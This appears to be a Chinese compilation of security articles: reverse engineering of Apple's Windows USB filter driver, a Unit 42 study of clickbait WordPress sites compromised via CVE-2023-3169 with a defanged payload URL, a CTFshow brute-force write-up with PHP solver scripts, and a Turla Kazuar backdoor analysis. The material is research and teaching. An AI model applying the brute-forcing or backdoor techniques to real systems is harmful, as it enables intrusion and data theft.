苹果USB低级过滤器,可帮助控制操作系统使用USB配置(上) PTP还是MTP? 本文中,我们将重点讨论为什么iphone没有像我们期望的使用MTP协议的设备那样提供一整套存储操作,还将研究USB接口类/子类和WPD_DEVICE_PROTOCOL属性之间不匹配的原因。为了回答这些问题,我们将了解如何创建WPD设备、如何“挂载”存储以及如何设置WPD属性。 首先对比一下使用PTP连接的Android设备和iPhone之间WPD设备协议属性的差异: 考虑到iPhone中的WPD协议属性,我们期望有一组更丰富的选项来与设备交互,可以通过查看设备的接口描述符来快速回答为什么iPhone表现为PTP设备。 iPhone和小米在PTP和MTP模式下的描述如下:iPhone有多种配置,但无论选择哪一种,创建WPD的接口PDO总是包含类6和子类1的接口。 尽管已经回答了最大的问题,但仍然有一些细节,比如为什么iPhone不允许创建或复制任何东西到它,而另一方面,小米即使使用PTP也允许创建对象,所以对于喜欢深入了解事物的人来说,仅仅浏览界面描述是不够的。 由于此描述符将生成CompatibleId USB\Class_06&SubClass_01&Prot_01,因此寻找与此ID匹配的INF,我们找到wpdmtp.inf。在此INF中,可以获得WPD设备的UMDF部分的以下组件: WpdMtp.dll:MTP核心协议组件; WpdMtpUS.dll:Usbscan MTP驱动程序的传输层; WpdMtpDr.dll:Windows便携式设备媒体传输协议驱动程序; 作为内核方面的一部分,INF将添加WinUSB.sys作为LowerFilter,并添加反射器WUDFRd.sys作为函数驱动程序。 从上面提到的三个二进制文件中,WpdMtpDr是将在WUDFHost中运行的主要WPD MTP驱动程序。这是一个UMDFv1驱动程序,它将基于COM并用C++编写,基于WpdWudfSampleDriver,几乎就不需要逆转,但该驱动程序没有更新为使用UMDFv2,因为UMDFv1几乎已经被弃用,并且几乎不支持新功能。 如上所述,入口点是OnDeviceAdd例程。在这个函数中,创建了CDevice对象,它将我们带到CDevice::OnPrepareHardware例程,在该例程中,通过调用WpdBaseDriver::Initialize来初始化WpdBaseDriver。不幸的是,这是Sample代码和WpdMtpDr开始出现差异的部分。示例代码没有真正的设备可以通信,但在本文的示例中,WpdMtp.dll的作用所在,充当WpdMtpDr和真正设备之间的粘合剂。MTP核心库包含CMtpDevice类,它表示真实的设备。在WpdBaseDriver初始化期间,加载MTP核心库,并打开与设备的会话,如以下简化代码片段所示: 加载MTP核心模块后,触发初始化例程来检索MTP DeviceInfo Dataset。这是发送到设备的初始MTP请求之一,DeviceInfo结构在其返回时填充。值得注意的是,该结构包含关键信息,如模型、制造商和各种MTP版本标识符。这些信息在稍后设置WPD属性时起着至关重要的作用。 MTP核心发送请求并将响应解析为CDeviceInfo结构,而WpdMtpDr利用缓存系统存储指向WpdMtp返回的类的COM指针。这种方法可以防止频繁地向设备重新发出PTP/MTP请求,从而优化I/O操作。 下面的堆栈显示了这个函数第一次被调用: 在UM中,WPD应用程序通常使用WPD API构建WPD命令,WPD API将序列化该WPD命令并将其打包到IOCTL请求中,这将到达驱动程序,驱动程序将反序列化命令并相应地采取行动。 一旦设备准备好接收I/O操作,操作系统将尝试检索WPD设备属性,该信息存在于device objectID中(此objectID是预定义的,始终表示device对象)。这个请求将到达WPD驱动程序,它将用CDeviceInfo的信息填充WPD设备属性。对于WPD_DEVICE_PROTOCOL的情况,该值将如何设置: 现在如果看一下iPhone返回的DeviceInfo Dataset,可以看VendorExtId和VendorExtVersion,可以最终回答为什么WPD_DEVICE_PROTOCOL被设置为MTP 15.20。MICROSOFT_VENDOR_EXT_ID是由MS作为WMDRM协议的一部分定义的,这是MTP响应器需要在DeviceInfo Dataset中设置的值之一,以告诉MTP启动器它支持AAVT,令人惊讶的是,iPhone只添加了这个必需的值,而不是其他值。 该属性将在函数CDevicePropContext::GetDeviceType上检索,该函数将使用SetupAPI获得compatibleid,无论协议是PTP还是MTP,设备中的每个存储对象(由以s开头的storageid表示)都有自己的属性。同样,当设备上开始I/O操作时,操作系统使用两个关键操作从存储对象中检索信息:getstorageid (0x1004)(检索storageid列表)和GetStorageInfo (0x1005)(定义存储对象的行为方式)。我们将重点关注后者,因为它返回一个包含以下三个关键字段的StorageInfo数据集。 存储类型 文件系统类型 访问功能 当WPD驱动程序第一次尝试获取设备的StorageInfo时,该请求将通过MTP核心模块。该模块向设备发送PTP/MTP操作请求,并将结果StorageInfo数据集返回给驱动程序。 因此,如果看一下iPhone是如何响应这个请求的,将能够根据上面提到的三个字段来确定Storage对象的行为。 我们可以从上图得到以下信息:存储类型==固定RAM,这是相当标准的移动设备。文件系统类型== DCF, DCF代表Camera FS的设计规则,你可以会从著名的DCIM根目录中认出它。DCF标准定义了在目录和文件上设置只读属性的选项。访问能力==只读,不能删除对象,这是致命的。这将定义对Storage对象的访问限制,操作系统将遵守这些限制。例如,这将影响iPhone的上下文菜单中显示的选项。 这就是为什么iPhone上的文件选项如此有限。为了便于比较,下图显示了使用PTP插入小米设备时的StorageInfo数据集。 事实证明,这就是为什么即使使用PTP协议连接,也能够在小米设备上创建对象的原因。然而,值得注意的是小米的MTP响应器似乎有问题,无论在设备上选择PTP还是MTP,在响应GetStorageInfo请求时都会返回相同的Dataset,至少在红米Note 8模型上是这样。 这样,我们就可以更清楚地理解Apple设备的运行方式,以及如何为设备配置WPD属性。 苹果软件对苹果设备栈的影响 接下来总结一下,当我们在主机上安装iTunes时会发生什么,以及它是如何实现诸如从设备复制文件之类的操作的。 如上所述,由于Storage对象中的限制,WPD API将仅在iPhone上提供有限的操作子集,然而,当安装iTunes后,它增加了一个不同的层,可以更全面地访问设备。 正如我们在AppleLowerFilter中看到的,一旦iTunes被安装,它将允许设备选择一个不同的USB配置描述符。没有iTunes,我们被限制在配置1,另一方面,一旦iTunes被默认安装,选择的配置将是3。以下是这两种配置及其接口: 选择配置3,将使usbccgp生成deviceID USB\VID_xxxx&PID_yyyy&MI_01(01从bInterfaceNumber中提取)。这些deviceid是在appleusb中定义的。它定义了以下文件的副本: 这两个驱动程序将成为被苹果公司称为“苹果移动设备USB设备”设备的一部分,该设备使用专有协议而不是MTP或PTP与iPhone进行通信,可以通过查看libimobiledevice的源代码来了解有关该协议的更多信息。一旦驱动程序安装并运行,iTunes本身就会使用标准WPD API调用和定制的苹果特定命令的组合与iPhone进行通信。这使得iTunes能够提供从设备中复制文件、管理应用程序和备份以及更新设备固件等功能。 下图提供了iPhone的整个设备堆栈的简化概述,包括安装iTunes和创建AppleUsbMux设备的场景: 总结 在本文中,我们探讨了苹果的USB低级过滤器是如何在Windows设备上工作的,以及它在提供不同体验方面的作用,还深入研究了Windows便携式设备(WPD)和用户模式驱动程序框架(UMDF)等主题,以更好地理解苹果设备堆栈的内部工作原理。 我们谈到WPD设备是如何初始化和设置的,这帮助我们了解了为什么WPD设备协议属性和Apple设备中接口描述符定义的类之间存在不匹配。我们还研究了WPD设备的Storage对象是如何设置的,以及它如何在不使用第三方软件的情况下在iPhone上操作的限制中发挥作用。最后,我们简要讨论了安装iTunes对苹果移动设备栈的影响,以及iTunes如何妥善管理设备内容。 苹果希望保护某些信息,限制与iPhone存储交互的现成选项,但如果有一个更混合的解决方案,用户可以在一定的限制下拥有更大的灵活性。虽然iTunes为管理iPhone内容提供了一个强大的解决方案,但有时安装第三方软件可能不是一个选择。然而,随着iTunes最近作为微软商店应用程序的发布,这种限制可能会减少。
-
高流量即高漏洞:浏览标题党网站可能遭受攻击风险
自2023年8月底以来,研究人员观察到专门用于标题党和广告内容的受攻击服务器显著增加。但为什么这样的网站对攻击者来说如此有吸引力呢?主要因为这些网站的设计是为了接触到大量潜在的受害者。此外,标题党网站经常使用过时或未修复的软件,这使得它们很容易受到攻击。 本文足以让你了解标题党文章的危险性。文中讨论了标题党网站如何增加流量以获得广告收入,研究人员回顾了一种基于其网络流量特征,来检测易受攻击标题党网站的策略。最后,本文还阐述了基于CVE-2023-3169漏洞的标题党网站数量激增的趋势分析。 标题党网站和广告流量 标题党旨在让读者点击一个可疑的网络内容链接。专门从事标题党内容的网站存在的唯一目的是产生广告收入,因此,标题党网站的网页包含大量攻击性广告。 点击诱饵需要大量的浏览量来产生广告收入,所以这些网站通常使用以下三种策略来增加流量。 常青的话题; 内容发现平台; 生成人工智能(AI)工具; 常青的话题 增加流量的一个策略是关注常青话题。常青话题指的是与特定时间或地点无关的话题,人们一直觉得它们很有趣。例如,金融和卫生被认为是常青的话题。图1和图2显示了来自标题党网站的两个示例页面: 金融主题标题党文章的例子 健康主题标题党文章的例子 内容发现平台 由于标题党内容本身是通过广告传播的,许多标题党网站还依靠第二种策略来增加流量:内容发现平台。 新闻机构和其他内容提供商使用内容发现平台来创收,标题党提供商经常使用这些服务来为他们自己的内容增加流量。 内容发现平台经常使用技术来伪装广告。其中一种方法被称为原生广告,此方法将广告内容配置为与其所在网站的外观相似,浏览者很难区分网站的原创内容和广告内容。下图显示了出现在新闻网站上的原生广告示例: 原生广告出现在新闻网站的例子 在上图中,研究人员添加了一个红色箭头,指向hxxps://gofindyou[.]com/health/what-causes-plaque-psoriasis-heres-what-doctors-need-you-to-know的标题党内容,快速检查发现这个网站至少运行了一个过时的软件。来自网页的HTML代码表明它使用了用于Yoast SEO的WordPress插件,如下图所示: 一个标题党页面显示Yoast SEO插件v20.8的HTML代码 显示Yoast SEO插件20.8版本的HTML最初发布于2023年5月23日。上图所示的网页是在2023年10月27日提供的,当时Yoast SEO插件的最新版本是21.4,这个插件已经过时。 研究人员经常发现带有过时软件或插件的标题党网站。这种特殊情况不意味着存在任何特定的漏洞,但过时的软件可能比完全打过补丁的版本更容易受到攻击。 生成人工智能工具 标题党作者的最新策略是使用Jasper和AIPRM等生成式人工智能工具,这些工具提供了一种简单的方法来生成seo优化的内容,以增加网站流量。 攻击者经常滥用、利用或破坏合法产品以达到恶意目的,但这并不一定意味着滥用合法产品的缺陷或质量问题。 一个示例是在 hxxps://delhiproduct[.]info/top-24-earn-money-with-paid-online-surveys 上用ChatGPT写的一篇文章,在本例中,该网站是一个运行MonsterInsights插件(版本8.1.0)的过时版本的WordPress网站,如下图所示: delhipproductinfo[.]com的HTML显示了过时的MonsterInsights插件 截至2023年10月3日,MonsterInsights插件的最新版本是8.20.1,这意味着8.1.0版本至少已经过时两年了。该插件的8.1.0版本也容易受到存储跨站攻击。 查找易受攻击的网站 要攻击任何网站,攻击者必须知道该网站的web服务器使用的web堆栈。这些数据包括操作系统、web内容管理软件(CMS)以及任何相关的插件和主题。 攻击者使用web堆栈数据来确定服务器是否运行任何过时的软件或应用程序,有了这些信息,攻击者可以很容易地找到公开的漏洞和利用来破坏网站。 研究人员如何确定服务器的web堆栈?研究人员可以通过网站的URL模式、HTML内容和功能来发现这些信息,网页的外观和感觉也可以提供线索。 接下来介绍一些指标,这些指标可以显示网站的部分web堆栈。 /wp-content/或/wp-includes/ :URL或网页的HTML代码中的任何一个字符串都表示关联的网站可能使用WordPress。 wp-content/themes/Newspaper/style.css?ver=11.4.1 :在网页的HTML代码中,此字符串表示网站使用tagDiv的WordPress报纸主题,报纸版本为11.4.1。 !-- This site uses the Google Analytics by MonsterInsights plugin v8.1.0 - Using Analytics tracking - https://www.monsterinsights[.]com/ --:网页HTML代码中的这条评论表明该网站使用了WordPress的MonsterInsights插件。插件信息的注释在大多数情况下都是准确的。 在确认利用CVE-2023-3169时,前两种技术可能会有所帮助。 利用CVE-2023-3169 2023年9月11日,MITRE发布了CVE-2023-3169,该漏洞在与WordPress的Composer插件一起使用时会影响tagDiv的Newspaper和Newsmag主题,已经有数千个WordPress网站因该漏洞而被攻击。 Unit 42团队成员监控Palo Alto Networks的遥测恶意活动,这些数据包括网页中HTML代码的指示符及其关联的URL。根据这些数据,我们通过存在恶意脚本和其他指标来确认一个受攻击的网站。 之前的研究表明,利用CVE-2023-3169后,通过Balada注入器攻击了数千个易受攻击的网站。根据这项研究,受此攻击的网站从以下位置生成加载恶意内容的页面: hxxps://stay[.]decentralappps[.]com/src/page.js 研究人员的数据证实了这一发现,分析发现与CVE-2023-3169相关的受攻击WordPress网站在2023年8月底开始激增。 在两个月的时间里,研究人员发现了大约10300个被攻击的WordPress网站。下面图表说明了研究人员检测到的这个峰值。 研究人员通过CVE-2023-3169窃取的WordPress网站数据 如下图所示,这些受攻击的网站中有很大一部分是标题党或广告网站。调查发现,标题党和广告占检测30%以上,在这30%的网站中,至少80%的网站使用了tagDiv的Newspaper主题,另外6%的网站使用了tagDiv的Newsmag主题。 注入脚本示例 下图显示了2023年10月初的一个示例,其中一个受攻击网站将恶意脚本注入到网页中,注入的脚本以黄色突出显示。 在WordPress网站的网页上注入脚本的示例 这个混淆的脚本使用表示ASCII字符的十进制值,将这些数字转换为ASCII文本会显示恶意脚本,如下图所示: 从上图中突出显示的文本解码的恶意脚本 上图中解码的脚本包含相同的hxxps://stay[.] decentralapps [.]com/src/page.js URL,在之前的报告中提到了使用Balada注入器利用CVE-2023-3169的活动。 标题党和广告网站的趋势 研究人员使用Cortex Xpanse和其他工具跟踪分析了漏洞趋势。除了CVE-2023-3169之外,研究人员还跟踪受其他漏洞影响的网站。 在2023年9月15日至22日的样本分析中,研究人员监控了1600个随机选择的WordPress网站的数据集,有用户试图访问受攻击的网站。 结果显示,与其他类别相比,流量党和广告网站的受害比例接近三比一。下图显示了研究人员每周检测的平均值: 检测受攻击WordPress网站 无论是来自CVE-2023-3169还是其他漏洞,与其他类别相比,受攻击的标题党和广告网站的数量都始终更高。 总结 当研究人员通过分析被攻击网站的指标时,通过与其他类别相比,研究人员依旧看到大量被攻击的标题党和广告网站。 这些网站通常使用过时或未修复的软件,有可能触及大量受害者,使其成为攻击者的诱人目标。因此,标题党文章本身就存在风险,读者应该意识到这种风险,并相应地调整他们的浏览习惯。
-
[CTFshow]Web爆破章节之[21-24]笔记
前言 靶场地址:https://ctf.show/challenges 如果此时此刻还没burpsuite可以用开盒即用版的(域这里用的就是 最新BurpSuite2023专业汉化版下载(无需任何配置) 2年前29106110 Web21 这里进行抓包 这里可以看到他是通过Base64进行编码的 选择狙击手模式 密码字典下载他们给我们用的字典 我们要对admin:后的密码进行爆破所以需要截取一下 添加前缀 进行base64编码 url取消打勾(这里要进行base64编码 =会造成编码失败 Web22 Web22ctfshow挂了 Web23 打开一看 分析一下 这里包含了一个flag.php 需要满足条件输出 这里是isset是检查是否get传参token这个参数,如果传参了就进入if里 下一步将传参的token进行md5转换 接着使用substr函数($token,1,1)这个意思是从token里从第一位截取一位也就是第二位 第一个if检查的是第二位 第十五位 第十八位是否相等如果相等进入下一个if 下一个if 这个if使用了intval意思是转换整数 检查第二位第十五位和第十八位除以第二位相加是否等于第32位 编写PHP脚本 <?php for($i=0;$i<9999;$i++) { $token = md5($i); if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) { if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) { echo "i="."$i"."token="."$token"; } } } ?> 复制一下 Web24 这里是mt_srand函数意思是随机种子 让后传参r 如果r和随机种子的数值一样就输出随机种子 编写脚本: <?php mt_srand(372619038); echo (mt_rand()); ?> ok下篇文章更新后四个
-
苹果USB低级过滤器,可帮助控制操作系统使用USB配置(上)
如果你曾经将iPhone、iPad或iPod连接到Windows PC上,你可能会注意到,这些设备会根据你的操作显示为不同类型的设备。例如,如果你正在给iPhone充电,它可能会显示为“USB复合设备”,但如果你正在与iTunes同步音乐,它可能会显示为“苹果移动设备USB驱动程序”。你有没有想过这是怎么回事?事实证明,苹果在Windows电脑上有一个USB低级过滤器,可以帮助他们控制操作系统使用哪些USB配置。 本文中,我们会首先介绍苹果的USB低级过滤器是如何工作的,它是做什么,以及无论是否安装了苹果软件,它如何提供不同的体验;其次,我们将研究为什么当设备的WPD属性WPD_DEVICE_PROTOCOL表明设备正在使用媒体传输协议(MTP)时,iphone的开箱操作如此有限。我们将深入研究诸如Windows便携式设备(WPD),USB描述符和用户模式驱动程序框架(UMDF)等话题。 初始化苹果的USB低级过滤器 苹果设备将自己呈现为具有多个接口的复合设备,以确保它们的设备被正确识别,并加载所有必要的驱动程序。这是因为苹果设备通常有多个接口,提供不同的功能,如音频、视频和控制。当我们将苹果设备插入Windows设备时,总线适配器识别设备并向操作系统提供其hardwareid和compatibleid。这些id用于根据id的匹配质量在driver Store中搜索最佳驱动程序。 对于总线驱动器来说,要将该设备视为复合设备,必须满足一定的要求。如果不满足这些要求,操作系统将不会自动加载USB复合设备类驱动程序(usbccgp)。在这种情况下,我们需要提供一个INF来加载通用的父驱动程序,对于苹果来说是文件AppleUSB.inf。 在iPhone的情况下,不满足的要求是设备具有多个配置(bNumConfigurations == 4)。 这个INF文件包含不同设备的各种设置配置(例如AppleUSB, AppleUsbHomePod和AppleUsbWatch)。对于iOS设备,HardwareId将完全匹配,因此操作系统将应用AppleUSB设置配置,这将复制AppleLowerFilter.sys,并将在设备特定的注册表项下添加以下值: OriginalConfigurationValue是一个可以在设备的硬件注册表项中为Usbccgp.sys驱动程序设置的值。它确定复合设备的哪个配置应用作默认配置。首次插入复合设备时,系统读取OriginalConfigurationValue并加载指定的配置。这对于具有多个配置的复合设备非常有用,其中一个配置可能是首选配置。 安装驱动程序包后,微软将详细说明以下步骤。设备将重新启动,重启后,PnP管理器识别设备的功能驱动程序和任何可选的过滤器驱动程序,构建设备堆栈,在该样本中,FDO是Usbccgp和LowerFiDO是AppleLowerFilter,并通过调用DriverEntry例程启动设备,为任何尚未加载的所需驱动程序。然后为每个驱动程序调用AddDevice例程,从低过滤驱动程序开始,然后是函数驱动程序。如果需要,将分配资源,PnP管理器将IRP_MN_START_DEVICE发送给设备的驱动程序。 USB低级过滤器工作原理 介绍了AppleLowerFilter的枚举和安装背后的理论之后,我们现在将仔细研究驱动程序是如何工作的,以及它在Windows设备上启用Apple设备功能时所起的作用。 作为一个WDF驱动程序,PnP调用DriverEntry的第一步是初始化框架并绑定WDF版本(在本例中为WDF 1.15)。一旦完成,框架将调用我们的DriverEntry函数,在AppleLowerFilter的情况下,他们的驱动项将简单地创建一个驱动对象,并在WDF_DRIVER_CONFIG中只设置一个AddDevice例程。AppleLowerFilter的AddDevice例程将进行如下操作: 1.通过调用WdfFdoInitSetFilter将自己标识为FiDO; 2.为事件注册PnP和电源管理回调: EvtDevicePrepareHardware; EvtDeviceReleaseHardware; EvtDeviceD0Entry; EvtDeviceD0Exit; 3.为IRP设置两个IRP预处理回调: IRP_MJ_PNP; IRP_MJ_INTERNAL_DEVICE_CONTROL; 4.使用名为FILTER_EXTENSION(sizeof==0x50)的上下文类型信息创建一个DO; 本文不深入讨论WDF框架的所有细节,但鼓励每个人都深入研究Github上的源代码。它是一个设计良好的软件,使编写驱动程序变得更加容易和直观,因此研究代码是一个很好的练习。 在上电序列( power-up sequence)中,下一步是为上电准备硬件,这意味着调用过滤器注册的EvtDevicePrepareHardware回调。这可能是AppleLowerFilter中最有趣的步骤。 Callback的第一步是检索USB描述符,这是通过被称为GetUsbDeviceDescriptor的函数完成的。此函数用于检索USB设备的USB设备描述符。这是通过为URB (USB请求块)分配内存并使用URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE类型完成的,这是一个从USB设备检索描述符的请求。被请求的描述符是USB_DEVICE_DESCRIPTOR_TYPE,它提供有关USB设备的信息,如其供应商和产品id、设备类和协议。该函数同步提交URB以检索描述符。 对于大多数与USB相关的操作,苹果使用usbdlib,这有点令人不可思议,因为这是一个WDF驱动程序,他们可以使用wdfusb标头,简化事情。 然后,驱动程序将bNumConfigurations存储到FILTER_EXTENSION上下文中,并继续调用我认为是该驱动程序的主要函数GetPreferredConfig。在描述其内部结构之前,先看一下这个函数的简单伪代码: 该函数将首先检查设备的配置数是否为1。如果是,则将首选配置设置为1;如果没有,代码将发送一个URB来检索首选配置;如果URB请求失败,则首选配置为3。然后代码在FilterCtx结构中设置DeviceConfig字段。然后,它检查QueryAppleSoftwarePresent函数是否返回false(表示未安装AppleSoftware),如果是,则将首选配置设置为1。然后,代码检查首选配置是否大于或等于设备描述符中指定的配置数;如果是,则将首选配置设置为最大配置数。最后,如果首选配置大于或等于5,则代码返回5。 在这个函数中有几个关键点,首先突出的是getdeviceconfigure函数,该函数将为URB分配内存,设置URB以发出特定于供应商的控制请求,然后将URB同步提交给USB驱动程序堆栈。正在进行的特定供应商请求是请求类型为69的控制传输和包含一个字节数据的传输缓冲区。 选择首选配置的下一个关键点是QueryAppleSoftwarePresent函数,这个函数起着很大的作用,因为它的返回值将决定我们是否总是被限制为只有一个首选配置。这个函数将做以下事情: 回到GetPreferredConfig函数,这个值起着很大的作用,因为这个函数返回的数字将用于覆盖设备注册表项中的OriginalConfigurationValue。 注意:GetPreferredConfig返回的值将被减去1,因为OriginalConfigurationValue描述的注册表值对应于usb定义的配置索引,由配置描述符(USB_CONFIGURATION_DESCRIPTOR)的bConfigurationValue成员指示,而不是由设备配置描述符中报告的bConfigurationNum值表示。 我们刚刚看到的是为什么即使INF在OriginalConfigurationValue中写入值2,如果你将iPhone插入没有安装iTunes的PC,你会在注册表中看到以下内容: 在注册表中设置OriginalConfigurationValue之后,EvtDevicePrepareHardware函数将调用wdfusbtargetdevicecrecreate来创建USB目标设备对象。USB目标设备对象表示底层USB设备,并为驱动程序与设备通信提供了一种方式。 为了定期检查首选配置,该函数设置了一个WDFTIMER。计时器的回调函数将被定期调用,以检查首选配置是否已更改。如果首选配置已更改,则函数将调用WdfUsbTargetDeviceCyclePortSynchronously,以便意外删除并重新枚举设备,从而使用新配置进行加载。 计时器的周期设置为0,因此框架不会调用计时器。另一方面,过滤器将在计时器的回调函数和D0Entry回调中调用WdfTimerStart, DueTime为5s(相对于当前系统时间)。 现在让我们看看这两个IRP预处理回调,以获得驱动程序工作流的全貌。IRP的预处理允许驱动程序在将IRP发送到默认处理程序或堆栈中的另一个驱动程序之前修改或重定向IRP。 首先看一下内部设备控制请求的处理程序。该函数将检查IRP是否为IOCTL_INTERNAL_USB_SUBMIT_URB请求,以选择USB配置。如果是,函数将获得设备的句柄,转发IRP,然后检索USB接口的管道句柄。Interrupt、BulkIn和BulkOut的管道句柄将存储在设备上下文中。 现在让我们看一下PnP IRPs预处理的处理程序。在本文的示例中,句柄将处理两种情况:IRP_MN_QUERY_DEVICE_RELATIONS 和IRP_MN_QUERY_ID。 QueryID IRP的情况非常简单,函数将检查FilterCtx->DeviceConfig(记住这个值是通过供应商特定的URB获得的)是否被设置为1,如果是,函数将字符串&RESTORE_MODE附加到BusQueryHardwareIDs和BusQueryDeviceID请求返回的信息中。 另一方面,querydevicerrelation更有趣一些。首先,这个处理程序只会在某个计时器没有运行并且设备上安装了Apple Software的情况下执行。它将只处理BusRelations IRP,它将同步转发请求并检查状态是否成功。如果返回任何信息,它将在返回的设备对象列表中查找其CompatibleId包含USB\Class_06的设备。如果找到了,它会取消对这个DO的引用,然后将其从列表中删除并更新设备计数,这样即使usbccgp为WPD设备创建了PDO, PnP也不会看到这个DO,因为返回的列表中没有它。不久,我们将看到低级过滤器如何处理这一点。 如果找到了类6的设备,那么该函数将根据DbgPrints设置另一个WDF定时器,我们将其称为PtpTimer,它在5秒后被触发。当触发回调时,将在deviceContext中设置一个标志,因此QueryDeviceRelations处理程序不再处理请求,将检查iTunes是否存在,如果存在,它将发送以下一组PTP/MTP操作请求包到USB设备。 OpenSession - OperationCode: 0x1002; vendoreextensionoperationcode: 0x9008; CloseSession - OperationCode: 0x1003; 下面的USB数据包捕获说明了这些操作的执行,注意它们是如何在该端口上捕获大约5秒后发生的。 尽管尝试了所有的手段来获得操作0x9008的更多信息,但似乎没有任何关于它的苹果设备的信息。所能得到的最好结果是ChatGPT说“PTP/MTP数据包中的操作命令0x9008通常对应于“Apple Device Info”命令”。不幸的是,当要求提供证明这一点的文档/引用时,而聊天给到的每个链接要么是无效的,要么是不可用的/废弃的苹果文档。给定名称“苹果设备信息”,笔者认为它类似于PTP/MTP命令“GetDeviceInfo”,但在设备命令0x9008上尝试的每个测试似乎都没有数据阶段,所以最好的猜测是,要么不是“设备信息”命令,要么苹果设备不再响应该命令。 最后,在发送PTP/MTP请求后,PtpTimer将调用IoInvalidateDeviceRelations,其关系类型为BusRelation,这将触发一个新的IRP QueryDeviceRelations,但由于这次计时器已经执行,处理程序不会从设备列表中删除WPD设备。这次PnP管理器我们会看到WPD设备的PDO并开始为它构建堆栈。下图显示了通过将LowerFilter添加到堆栈中并跟踪Pre和Post捕获的这种行为,IRP由AppleLowerFilter处理。 目前猜测是带有operationCode 0x9008的PTP包以某种方式,通知设备iTunes存在于主机上或这些行周围的东西。除此之外,没有注意到WPD设备在安装iTunes或没有安装iTunes的情况下有任何不同的行为,除了WPD设备实际显示需要5秒钟。从设备的LowerFilters列表中删除AppleLowerFilter似乎对WPD设备的行为没有任何重大影响。 这几乎就是AppleLowerFilter的行为方式,可以看到它主要在设备初始化期间工作,除了检查活动配置的计时器每5秒在后台运行一次之外,查看端口时必须重新举例。
-
Pensive Ursa(又名Turla)使用新研发的Kazuar后门进行攻击活动
在追踪Pensive Ursa(又名Turla, Uroburos)的迭代中,Unit 42的研究人员发现了Kazuar一个新的升级变体——一个先进而隐秘的 .NET后门,Pensive Ursa通常将其用作第二级有效负载。 “Pensive Ursa”是一个总部位于俄罗斯的攻击组织,至少从2004年开始活动,与俄罗斯联邦安全局(FSB)有联系。 乌克兰CERT在2023年7月报告说,这个版本的Kazuar是针对乌克兰国防部门的,背后攻击组织的目标是敏感数据,比如Signal消息、源代码控制和云平台数据。 自从Unit 42在2017年发现Kazuar以来,研究人员只在野外看到过几次,主要针对欧洲政府和军事部门的组织。由于代码相似,Sunburst后门与Kazuar联系在一起,这表明了它非常复杂。自2020年底以来,研究人员没有在野外看到新的Kazuar样本,但有报道称Kazuar正在不断开发中。 正如Kazuar升级版的代码所揭示的那样,Kazuar的开发者正在增强器隐形操作能力,他们使用各种先进的反分析技术,并通过有效的加密和混淆实践来保护恶意软件代码。 Kazuar概述 Kazuar是一种先进的、隐秘的.NET后门,Pensive Ursa通常将其作为第二阶段的有效负载,与攻击组织通常使用的其他工具一起传播。 最近乌克兰CERT报告的活动揭示了Kazuar的多阶段传播机制,以及其他工具,如新的Capibar第一阶段后门。研究人员对这个新版本的技术分析显示,它的代码结构和功能都有了显著的改进。 这篇文章将详细介绍以前未记录的功能,包括: 全面的系统分析:广泛的数据收集。 窃取云和其他敏感应用程序的凭证:窃取云应用程序帐户、源代码控制和信号消息传递应用程序。 扩展命令集:总共支持45个命令,从另一个Kazuar节点或命令和控制(C2)服务器接收。 增强的任务自动化:攻击者可以打开/关闭的一系列自动化任务。 可变加密方案:不同加密算法和方案的实现。 注入模式:多种注入模式,允许Kazuar从不同的进程运行并执行不同的功能。 至少从2018年开始,Kazuar的变体改变了它们的混淆方法,一些变体使用ConfuserEx混淆器加密字符串,其他变体使用自定义方法。 本文分析的Kazuar变体实现了多个自定义字符串加密方法,与以前的变体不同,该变体只关注Windows操作系统。 在分析Kazuar的代码时,研究人员使用dnSpy将代码导出到集成开发环境(IDE)中,并使用自定义脚本解密字符串。这允许研究人员编辑单独的.cs文件,并将一些方法名称编辑成有意义的名称。研究人员已经解释了屏幕截图中出现的方法名。 最新Kazuar变体的详细技术分析 元数据 其他研究机构的报告显示,至少从2018年开始,Kazuar的开发者就在操纵他们样本的时间戳。这个新变体的编译时间戳是星期四,2008年11月20日10:11:18 AM GMT。与其他公开可用的变体不同,这是开发者第一次回溯到2008年伪造时间戳。 Kazuar还包含代理版本和BuildID的硬编码、哈希标识符以及代理标签。这些可以用作变体标识符,如下图所示。 Kazuar样本基本配置信息 初始化 执行程序集检查 在执行Kazuar时,它使用Assembly.Location 属性来接收自己的文件路径并检查其名称。只有当返回的值为空字符串时,Kazuar才会继续执行,如图所示。从字节数组加载文件时,Assembly.Location属性返回一个空字符串。 这种检查似乎是反分析机制的一种简单形式,以确保恶意软件的执行是由预期的加载程序完成的,而不是通过其他方式或软件完成的。 Kazuar执行后,如果它的文件名匹配一个特定的硬编码哈希名称(使用FNV算法)。这种行为可能是为了调试目的,让开发者避免在每次调试恶意软件时使用加载程序。 检查Kazuar变体的配置名称 创建操作根目录 Kazuar创建一个新目录来存储它的配置和日志数据,它使用%localappdata%作为主存储路径,并从硬编码路径列表中确定其根目录。 Kazuar根据设备全局唯一标识符(GUID)选择要使用的根目录、文件夹名、文件名和文件扩展名,如下图所示。虽然这些名称乍一看似乎是随机生成的,但GUID的使用意味着它们将在同一台受攻击的设备上每次执行恶意软件时保持相同的名称。 负责返回路径数组索引的方法 与以前的变体一样,Kazuar使用结构化目录方案来保存其日志文件和其他数据,如单个配置文件和键盘记录器数据。目录命名是伪随机的,是根据哈希选择的。示例包括在前面的变体中看到的FNV哈希算法的自定义实现,以及对GUID值的其他操作。 值得一提的是,在代码中有一个当前未引用的选项,用于创建一个名为wordlist的文件。这个文件可以为研究人员提供一个尚未实现的功能的线索,也许是使用目录、文件名或密码暴力破解的单词列表。 配置文件 恶意软件创建一个单独的主配置文件,其中包含以下数据: C2服务器; 注入模式; 其他运行配置数据; 下图显示了下面这个文件的一个片段,你可以在附录中找到Kazuar配置文件的加密方法。 配置文件的片段 互斥锁名称生成 Kazuar正在使用互斥锁来检查其注入到另一个进程中。Kazuar通过异或处理当前进程ID和硬编码值0x4ac882d887106b7d来生成它的互斥锁名,然后用设备的GUID 异或处理它,如下图所示。这意味着几个Kazuars可以在同一设备上串联操作,只是不注入到同一过程中。 互斥对象名称生成 体系结构 设置Kazuar的注入模式 新版本的Kazuar使用了它在配置中描述的“注入模式”,如表所示,默认模式为inject: Kazuar注入模式和描述 